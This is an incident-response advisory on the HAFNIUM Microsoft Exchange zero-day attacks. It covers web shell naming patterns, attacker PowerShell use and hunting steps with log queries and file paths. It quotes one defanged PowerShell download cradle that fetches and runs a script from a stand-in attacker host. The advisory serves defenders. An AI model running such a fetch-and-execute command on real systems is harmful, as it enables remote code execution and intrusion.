Update to HAFNIUM/Microsoft Exchange Server zero-day vulnerabilities

Overview

What Do We Know About This Attack?

• There appear to be multiple “clusters” (coined by Red Canary) of attackers. Response organizations are coming to this determination based on the naming conventions and web shell types utilized in this attack.
  • The first cluster of web shells follows a random 8-character naming convention such as, “klrJNyi0.aspx”. From what Assura has seen, all of these shells are “China Chopper” web shells in .NET web form (.aspx) format.

• The second cluster of web shells is a poor attempt to blend into the Exchange environment and use some form of doppelganger naming convention such as “supp0rt.aspx”. All of the examples Assura has found within this cluster are also “China Chopper” web shells in .NET web form (.aspx) format.

• The third cluster, none of which Assura has observed in client environments, includes any shells that don’t meet the previous two naming conventions. Firms are reporting there are unique web shells that may use other persistence mechanisms that are not “China Chopper” web shells. In some cases, executable (.exe) files have been observed.

• Attackers are being observed using PowerShell extensively in post-exploitation activities. It has been widely observed that attacks will use exe to spawn cmd.exe from which they then spawn powershell.exe. The attackers then use a technique called a download cradle to run PowerShell scripts without the script ever touching the disk, aka “file-less malware”. This unique combination of spawning child processes repeatedly from w3wp.exe and then using a download cradle helps to significantly obfuscate their post-exploitation attacks.
  • An example of a download cradle run from powershell.exe – “IEX (New-Object Net.WebClient).DownloadString(‘hxxp[:]//evilattackerwebsite[.]com/exploit.ps1’);exploit.ps1”
• Attackers are creating scheduled tasks on servers for persistence. These scheduled tasks are also taking advantage of download cradles to continue attacks against the local environment.
• Some security firms are reporting that they have found that in environments that were significantly behind in patching their Exchange Server that the Microsoft update to patch the vulnerabilities being exploited in the Hafnium campaign completely replaces the directories where web shells (evidence) was being found.

Assura’s Updated Take

• Look in the following locations for web shells:
  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
  • C:\inetpub\wwwroot\aspnet_client\o  
  • C:\inetpub\wwwroot\aspnet_client\system_web\o  
  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB\o  
• And any sub-folders within these file paths.§  “China Chopper” web shells will have a line within them similar to that seen in the image below:§  You can upload any questionable files to VirusTotal for a free analysis. We have found that VirusTotal has been somewhat effective in identifying malicious web shells where other tools have not. Run the “known good” file hash comparison PowerShell script provided by Microsoft (https://github.com/microsoft/CSS-Exchange/blob/main/Security/CompareExchangeHashes.ps1) This will compare the standard Exchange Server file set within the file paths above with Microsoft’s “known good” file hashes. If any anomalies are identified that is an indicator of compromise and requires further investigation.

• Scan Exchange log files for the following IOCs:
  • Exchange HttpProxy logs – located in “%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\HttpProxy”
    • Look for entries where the “AuthenticatedUser” is empty and the “AnchorMailbox” contains the pattern of “ServerInfo~*/*”
    • If results are found, then the logs specific to the application specified in the “AnchorMailbox” path can be used to see the attacker’s actions. These logs are located in the “%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging” directory.
  • Look for files within the OABGeneratorLog that were downloaded to directories other than “%PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp”. Files should only be downloaded to the Temp folder. Downloads to other locations are indicators of malicious activity. Use the following command to search for downloads outside of the Temp folder:
    • “findstr /snip /c:”Download failed and temporary file” “%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog\*.log””
  • The exploitation of the UnifiedMessaging deserialization vulnerability will result in Application events within the Windows Event Viewer log. The following PowerShell command will query for these log entries:
    • “Get-EventLog -LogName Application -Source “MSExchange Unified Messaging” -EntryType Error | Where-Object { $_.Message -like “*System.InvalidCastException*” }”
  • Finally, review “C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server” for “Set-<AppName>VirtualDirectory” properties that contain script. “InternalURL” and “ExternalURL” should be the only valid URLs. The following PowerShell script will query for potentialcompromises:
    • “Select-String -Path “$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log” -Pattern ‘Set-.+VirtualDirectory’”
  • Review running processes with Sysinternals Process Explorer, Process Hacker, or another process exploration to determine if standard processes are spawning un-common child processes as seen in the example above – exespawning cmd.exe which spawns powershell.exe.
  • Finally, review scheduled tasks on the server for any anomalous jobs that have been created.